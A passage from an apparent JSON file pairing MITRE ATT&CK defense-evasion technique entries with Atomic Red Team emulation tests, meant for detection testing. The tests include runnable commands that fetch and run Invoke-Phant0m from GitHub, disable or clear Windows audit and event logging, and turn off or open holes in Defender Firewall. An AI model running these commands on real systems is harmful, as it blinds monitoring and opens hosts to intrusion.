- "command": "Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore\n$url = \"https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1\"\n$output = \"$env:TEMP\\Invoke-Phant0m.ps1\"\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile($url, $output)\ncd $env:TEMP\nImport-Module .\\Invoke-Phant0m.ps1\nInvoke-Phant0m\n",
- "cleanup_command": "Write-Host \"NEED TO Restart-Computer TO ENSURE LOGGING RETURNS\" -fore red\nRemove-Item \"$env:TEMP\\Invoke-Phant0m.ps1\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Impair Windows Audit Log Policy",
- "auto_generated_guid": "5102a3a7-e2d7-4129-9e45-f483f2e0eea8",
- "description": "Disables the windows audit policy to prevent key host based telemetry being written into the event logs.\n[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "auditpol /set /category:\"Account Logon\" /success:disable /failure:disable\nauditpol /set /category:\"Logon/Logoff\" /success:disable /failure:disable\nauditpol /set /category:\"Detailed Tracking\" /success:disable\n",
- "cleanup_command": "auditpol /set /category:\"Account Logon\" /success:enable /failure:enable\nauditpol /set /category:\"Detailed Tracking\" /success:enable\nauditpol /set /category:\"Logon/Logoff\" /success:enable /failure:enable\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Clear Windows Audit Policy Config",
- "auto_generated_guid": "913c0e4e-4b37-4b78-ad0b-90e7b25010f6",
- "description": "Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "auditpol /clear /y\nauditpol /remove /allusers\n",
- "cleanup_command": "auditpol /set /category:\"Account Logon\" /success:enable /failure:enable\nauditpol /set /category:\"Detailed Tracking\" /success:enable\nauditpol /set /category:\"Logon/Logoff\" /success:enable /failure:enable\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Event Logging with wevtutil",
- "auto_generated_guid": "b26a3340-dad7-4360-9176-706269c74103",
- "description": "Wevtutil can be used to disable logs. \nNOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "log_name": {
- "description": "Name of the log to be disabled",
- "type": "string",
- "default": "Microsoft-Windows-IKE/Operational"
- }
- },
- "executor": {
- "command": "wevtutil sl \"#{log_name}\" /e:false\n",
- "cleanup_command": "wevtutil sl \"#{log_name}\" /e:true\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Makes Eventlog blind with Phant0m",
- "auto_generated_guid": "3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741",
- "description": "Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "exe version of Phant0m",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Phant0m.exe must exist on disk at specified location (#{file_name})\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe\" -OutFile \"#{file_name}\" -UseBasicParsing\n"
- }
- ],
- "executor": {
- "command": "PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\n",
- "cleanup_command": "echo \"Sorry you have to reboot\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1218.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
- "type": "attack-pattern",
- "created": "2020-01-23T19:59:52.630Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.002",
- "url": "https://attack.mitre.org/techniques/T1218/002"
- },
- {
- "source_name": "Microsoft Implementing CPL",
- "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
- },
- {
- "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
- "source_name": "TrendMicro CPL Malware Jan 2014"
- },
- {
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
- "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
- "source_name": "TrendMicro CPL Malware Dec 2013"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
- "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
- "source_name": "Palo Alto Reaver Nov 2017"
- },
- {
- "source_name": "ESET InvisiMole June 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
- "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
- }
- ],
- "modified": "2022-03-11T19:01:55.821Z",
- "name": "Signed Binary Proxy Execution: Control Panel",
- "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet
function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls
. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet
functions, they are loaded and executed through its DllEntryPoint
when Control Panel is executed. CPL files not exporting CPlApplet
are not directly executable.(Citation: ESET InvisiMole June 2020)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL
and ControlRunDLLAsUser
API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl
) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl
). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace
and HKEY_CLASSES_ROOT\\CLSID\\{GUID}
. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs
and Extended Properties
Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel
. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);
) or from a command line (control.exe /name {Canonical_Name}
).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers
where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation",
- "File: File Creation",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Module: Module Load"
- ],
- "x_mitre_defense_bypassed": [
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1218.002"
- },
- "atomic_tests": [
- {
- "name": "Control Panel Items",
- "auto_generated_guid": "037e9d8a-9e46-4255-8b33-2ae3b545ca6f",
- "description": "This test simulates an adversary leveraging control.exe\nUpon execution calc.exe will be launched\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "cpl_file_path": {
- "description": "path to cpl file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.002\\bin\\calc.cpl"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Cpl file must exist on disk at specified location (#{cpl_file_path})\n",
- "prereq_command": "if (Test-Path #{cpl_file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{cpl_file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl\" -OutFile \"#{cpl_file_path}\"\n"
- }
- ],
- "executor": {
- "command": "control.exe #{cpl_file_path}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1599.001": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
- "type": "attack-pattern",
- "created": "2020-10-19T16:48:08.241Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1599.001",
- "url": "https://attack.mitre.org/techniques/T1599/001"
- },
- {
- "source_name": "RFC1918",
- "url": "https://tools.ietf.org/html/rfc1918",
- "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-21T01:45:58.951Z",
- "name": "Network Address Translation Traversal",
- "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1009": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Martin Jirkal, ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:22.096Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1009",
- "url": "https://attack.mitre.org/techniques/T1009"
- },
- {
- "external_id": "CAPEC-572",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/572.html"
- },
- {
- "source_name": "ESET OceanLotus",
- "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
- "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
- },
- {
- "source_name": "Securelist Malware Tricks April 2017",
- "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/",
- "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."
- },
- {
- "source_name": "VirusTotal FAQ",
- "url": "https://www.virustotal.com/en/faq/",
- "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."
- }
- ],
- "modified": "2020-09-17T18:25:33.796Z",
- "name": "Binary Padding",
- "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Signature-based detection",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1550": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "SaaS",
- "Google Workspace",
- "IaaS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
- "type": "attack-pattern",
- "created": "2020-01-30T16:18:36.873Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550",
- "url": "https://attack.mitre.org/techniques/T1550"
- },
- {
- "source_name": "NIST Authentication",
- "url": "https://csrc.nist.gov/glossary/term/authentication",
- "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020."
- },
- {
- "source_name": "NIST MFA",
- "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication",
- "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020."
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- }
- ],
- "modified": "2022-04-01T12:57:34.058Z",
- "name": "Use Alternate Authentication Material",
- "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Usage",
- "Active Directory: Active Directory Credential Request",
- "Logon Session: Logon Session Creation",
- "Application Log: Application Log Content",
- "User Account: User Account Authentication"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ]
- },
- "atomic_tests": []
- },
- "T1181": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1181",
- "url": "https://attack.mitre.org/techniques/T1181"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
- "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
- "source_name": "Microsoft Window Classes"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
- "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft GetWindowLong function"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
- "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SetWindowLong function"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
- "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
- "source_name": "MalwareTech Power Loader Aug 2013"
- },
- {
- "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
- "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
- "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
- "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SendNotifyMessage function"
- }
- ],
- "modified": "2020-11-10T18:29:30.479Z",
- "name": "Extra Window Memory Injection",
- "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host intrusion prevention systems",
- "Data Execution Prevention"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1562.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
- "type": "attack-pattern",
- "created": "2020-02-21T21:00:48.814Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562.004",
- "url": "https://attack.mitre.org/techniques/T1562/004"
- }
- ],
- "modified": "2020-03-29T22:18:11.166Z",
- "name": "Impair Defenses: Disable or Modify System Firewall",
- "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Firewall: Firewall Rule Modification",
- "Firewall: Firewall Disable",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall"
- ],
- "identifier": "T1562.004"
- },
- "atomic_tests": [
- {
- "name": "Disable Microsoft Defender Firewall",
- "auto_generated_guid": "88d05800-a5e4-407e-9b53-ece4174f197f",
- "description": "Disables the Microsoft Defender Firewall for the current profile.\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh advfirewall set currentprofile state off\n",
- "cleanup_command": "netsh advfirewall set currentprofile state on >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Disable Microsoft Defender Firewall via Registry",
- "auto_generated_guid": "afedc8c4-038c-4d82-b3e5-623a95f8a612",
- "description": "Disables the Microsoft Defender Firewall for the public profile via registry\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 1 /f\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Allow SMB and RDP on Microsoft Defender Firewall",
- "auto_generated_guid": "d9841bf8-f161-4c73-81e9-fd773a5ff8c1",
- "description": "Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes\nnetsh advfirewall firewall set rule group=\"file and printer sharing\" new enable=Yes\n",
- "cleanup_command": "netsh advfirewall reset >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Opening ports for proxy - HARDRAIN",
- "auto_generated_guid": "15e57006-79dd-46df-9bf9-31bc24fb5a80",
- "description": "This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.\n\nreference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh advfirewall firewall add rule name=\"atomic testing\" action=allow dir=in protocol=TCP localport=450 \n",
- "cleanup_command": "netsh advfirewall firewall delete rule name=\"atomic testing\" protocol=TCP localport=450 >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Open a local port through Windows Firewall to any profile",
- "auto_generated_guid": "9636dd6e-7599-40d2-8eee-ac16434f35ed",
- "description": "This test will attempt to open a local port defined by input arguments to any profile",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "local_port": {
- "description": "This is the local port you wish to test opening",
- "type": "integer",
- "default": 3389
- }
- },
- "executor": {
- "command": "netsh advfirewall firewall add rule name=\"Open Port to Any\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any",
- "cleanup_command": "netsh advfirewall firewall delete rule name=\"Open Port to Any\" | Out-Null",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
